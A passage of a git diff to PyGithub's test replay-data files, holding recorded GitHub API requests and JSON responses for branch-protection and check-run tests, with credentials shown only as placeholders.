OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"name":"integrations","commit":{"sha":"d60943db8c9ae6ca1f9400d378a757e6f281dbde","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d60943db8c9ae6ca1f9400d378a757e6f281dbde"},"protected":true,"protection":{"enabled":true,"required_status_checks":{"strict":true,"contexts":["foo/bar"]}},"protection_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection"} - -https -GET -api.github.com -None -/repos/jacquev6/PyGithub/branches/integrations/protection -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} +/repos/curvewise-forks/PyGithub/branches/master/protection +{'Accept': 'application/vnd.github.luke-cage-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('x-runtime-rack', '0.050971'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"e0dc2dfc56971f4a36de1216356ea98b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4993'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', 'E962:55F3:1A4A1F1:404B411:5AF928BE'), ('date', 'Mon, 14 May 2018 06:12:48 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526281649')] -{"url": "https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection", "required_pull_request_reviews": {"url": "https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/required_pull_request_reviews", "dismiss_stale_reviews": true, "require_code_owner_reviews": false}, "required_status_checks": {"url": "https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/required_status_checks", "strict": true, "contexts": ["foo/bar"], "contexts_url": "https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/required_status_checks/contexts"}, "enforce_admins": {"url": "https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/enforce_admins", "enabled": true}} +[('Server', 'GitHub.com'), ('Date', 'Fri, 09 Jun 2023 16:53:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cdfb177e9c10c1c5d5b84c3667f1deb64f69634c27cfcd1c9edb937b14510276"'), ('X-OAuth-Scopes', 'read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=luke-cage-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1686333233'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DDEA:9715:CE8BD3E:1A63C049:64835922')] +{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection","required_status_checks":{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_status_checks","strict":true,"contexts":["build (3.10)"],"contexts_url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_status_checks/contexts","checks":[{"context":"build (3.10)","app_id":15368}]},"required_pull_request_reviews":{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_pull_request_reviews","dismiss_stale_reviews":false,"require_code_owner_reviews":false,"require_last_push_approval":false,"required_approving_review_count":1},"required_signatures":{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/required_signatures","enabled":false},"enforce_admins":{"url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection/enforce_admins","enabled":true},"required_linear_history":{"enabled":true},"allow_force_pushes":{"enabled":false},"allow_deletions":{"enabled":false},"block_creations":{"enabled":false},"required_conversation_resolution":{"enabled":false},"lock_branch":{"enabled":false},"allow_fork_syncing":{"enabled":false}} diff --git a/tests/ReplayData/CheckRun.setUp.txt b/tests/ReplayData/CheckRun.setUp.txt index 89c5fe9bf9..8a772308d6 100644 --- a/tests/ReplayData/CheckRun.setUp.txt +++ b/tests/ReplayData/CheckRun.setUp.txt @@ -41,4 +41,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e1285aae8d5d64943c72eb70a505f3accbb906a496ce25d54fb97f0c979b5a01"'), ('Last-Modified', 'Fri, 28 Aug 2020 04:20:12 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4844'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '156'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF61:6561:C6782F:110B51E:5F92487A')] {"sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo2YmM5ZWNjOGM4NDlkZjRlNDVlNjBjMWU2YTVkZjg4NzYxODBhMjBh","commit":{"author":{"name":"Neil Williams","email":"spladug@users.noreply.github.com","date":"2020-08-28T04:20:12Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-08-28T04:20:12Z"},"message":"Add get_timeline() to Issue's type stubs (#1663)\n\nAdd get_timeline() to Issue's type stubs","tree":{"sha":"196dc01e06f7bb631c18f76d620d7fac981194b5","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/196dc01e06f7bb631c18f76d620d7fac981194b5"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfSIX8CRBK7hj4Ov3rIwAAdHIIAC7ARR4daWuDXZoA41Bk6QJC\nLwgikiCrNulUp0VYmrLoEE/sBY3YlVbQdYgS9ulYJcKyInd8hWQ31TG/SSyz1SRd\ncp8SD9bAu8SbqX4DWa6tV2XxopsabwQgWqGtJWzYIyuVFvdSuXGaZIjAo3VvWAuo\nZE+z5LJ99EHlnT2utyG4SyU3yZ+G8AHPB3X+9gkXq1jLpqBP2eGeWGRyEf7MqxQz\nQOPSQ/dtn4VmDt+p7TpfmZL87/t6/gol8bFKxxbtmNckDjoWTdFxf3CHTCNgZ+fW\nm2OgJc2UOttcAvegAFs5vAKpf4WABa+nEBG8qaG+Lg9IO3twYgYJ7WXW/YuSEPU=\n=O4Ol\n-----END PGP SIGNATURE-----\n","payload":"tree 196dc01e06f7bb631c18f76d620d7fac981194b5\nparent 743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5\nauthor Neil Williams 1598588412 -0700\ncommitter GitHub 1598588412 +1000\n\nAdd get_timeline() to Issue's type stubs (#1663)\n\nAdd get_timeline() to Issue's type stubs"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","html_url":"https://github.com/PyGithub/PyGithub/commit/6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6bc9ecc8c849df4e45e60c1e6a5df8876180a20a/comments","author":{"login":"spladug","id":338853,"node_id":"MDQ6VXNlcjMzODg1Mw==","avatar_url":"https://avatars0.githubusercontent.com/u/338853?v=4","gravatar_id":"","url":"https://api.github.com/users/spladug","html_url":"https://github.com/spladug","followers_url":"https://api.github.com/users/spladug/followers","following_url":"https://api.github.com/users/spladug/following{/other_user}","gists_url":"https://api.github.com/users/spladug/gists{/gist_id}","starred_url":"https://api.github.com/users/spladug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/spladug/subscriptions","organizations_url":"https://api.github.com/users/spladug/orgs","repos_url":"https://api.github.com/users/spladug/repos","events_url":"https://api.github.com/users/spladug/events{/privacy}","received_events_url":"https://api.github.com/users/spladug/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","html_url":"https://github.com/PyGithub/PyGithub/commit/743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5"}],"stats":{"total":2,"additions":2,"deletions":0},"files":[{"sha":"b1290df61bbcf8340f0752649358ec7f080b77fd","filename":"github/Issue.pyi","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/6bc9ecc8c849df4e45e60c1e6a5df8876180a20a/github/Issue.pyi","raw_url":"https://github.com/PyGithub/PyGithub/raw/6bc9ecc8c849df4e45e60c1e6a5df8876180a20a/github/Issue.pyi","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github/Issue.pyi?ref=6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","patch":"@@ -12,6 +12,7 @@ from github.PaginatedList import PaginatedList\n from github.PullRequest import PullRequest\n from github.Reaction import Reaction\n from github.Repository import Repository\n+from github.TimelineEvent import TimelineEvent\n \n class Issue(CompletableGithubObject):\n def __repr__(self) -> str: ...\n@@ -40,6 +41,7 @@ class Issue(CompletableGithubObject):\n def comments_url(self) -> str: ...\n def create_comment(self, body: str) -> IssueComment: ...\n def create_reaction(self, reaction_type: str) -> Reaction: ...\n+ def get_timeline(self) -> PaginatedList[TimelineEvent]: ...\n @property\n def created_at(self) -> datetime: ...\n def delete_labels(self) -> None: ..."}]} - diff --git a/tests/ReplayData/CheckRun.testCheckRunAnnotationAttributes.txt b/tests/ReplayData/CheckRun.testCheckRunAnnotationAttributes.txt index ca2607dc4c..8a3dcffde1 100644 --- a/tests/ReplayData/CheckRun.testCheckRunAnnotationAttributes.txt +++ b/tests/ReplayData/CheckRun.testCheckRunAnnotationAttributes.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:04:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"047a28107e6c7cccaea233850af8c84a6c36a7eddfe08d6e1b78f3d435bdef2d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4911'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '89'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF1E:095B:3B5C6F:52DEE7:5F924859')] [{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":2,"start_column":null,"end_line":2,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'banaas'.","raw_details":"Do you mean 'bananas' or 'banana'?"},{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":4,"start_column":null,"end_line":4,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'aples'","raw_details":"Do you mean 'apples' or 'Naples'"}] - diff --git a/tests/ReplayData/CheckRun.testCheckRunOutputAttributes.txt b/tests/ReplayData/CheckRun.testCheckRunOutputAttributes.txt index 45b9bea38a..bef5925dad 100644 --- a/tests/ReplayData/CheckRun.testCheckRunOutputAttributes.txt +++ b/tests/ReplayData/CheckRun.testCheckRunOutputAttributes.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"f9cc9072c36d45bce89bde08d78c37bd463290dc6ee98938b4251c2f642a9594"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4906'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '94'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF23:66AD:C720EC:11257BC:5F92485B')] {"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"6bc9ecc8c849df4e45e60c1e6a5df8876180a20a","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]} - diff --git a/tests/ReplayData/CheckRun.testCreateCheckRunCompleted.txt b/tests/ReplayData/CheckRun.testCreateCheckRunCompleted.txt index 8fbcbf22fe..376f9e69ea 100644 --- a/tests/ReplayData/CheckRun.testCreateCheckRunCompleted.txt +++ b/tests/ReplayData/CheckRun.testCreateCheckRunCompleted.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Fri, 23 Oct 2020 03:05:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2294'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"0969dd43d8b7a32b9635309969175f3de6993ae3001283331b47a553a0df5978"'), ('Location', 'https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4901'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '99'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CF28:24B4:15A7929:1D6C7DF:5F92485E')] {"id":1296027873,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI3ODcz","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296027873","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:30:29Z","completed_at":"2020-10-20T11:30:50Z","output":{"title":"Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":"You may have some misspelled words on lines 2 and 4.","annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873/annotations"},"name":"completed_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} - diff --git a/tests/ReplayData/CheckRun.testCreateCheckRunInProgress.txt b/tests/ReplayData/CheckRun.testCreateCheckRunInProgress.txt index 54f41e7faa..72829f6942 100644 --- a/tests/ReplayData/CheckRun.testCreateCheckRunInProgress.txt +++ b/tests/ReplayData/CheckRun.testCreateCheckRunInProgress.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"938525593c35bfe916a2c12bdf95943b7134b1442e867584a722bcece448c925"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4895'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '105'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF2E:6DFC:1520D35:1CD42AC:5F924861')] {"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"completed","conclusion":"success","started_at":"2020-09-04T01:14:52Z","completed_at":"2020-10-23T03:05:06Z","output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} - diff --git a/tests/ReplayData/CheckRun.testGetCheckRunsForRef.txt b/tests/ReplayData/CheckRun.testGetCheckRunsForRef.txt index 3a3fd50d81..3bbca75fae 100644 --- a/tests/ReplayData/CheckRun.testGetCheckRunsForRef.txt +++ b/tests/ReplayData/CheckRun.testGetCheckRunsForRef.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"12597e85447ab058b30dc5520ecbf8e3a8d7623a4c0bfe53dfc235b1da5297d5"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4889'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '111'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF34:0A11:F412F2:14F8735:5F924865')] 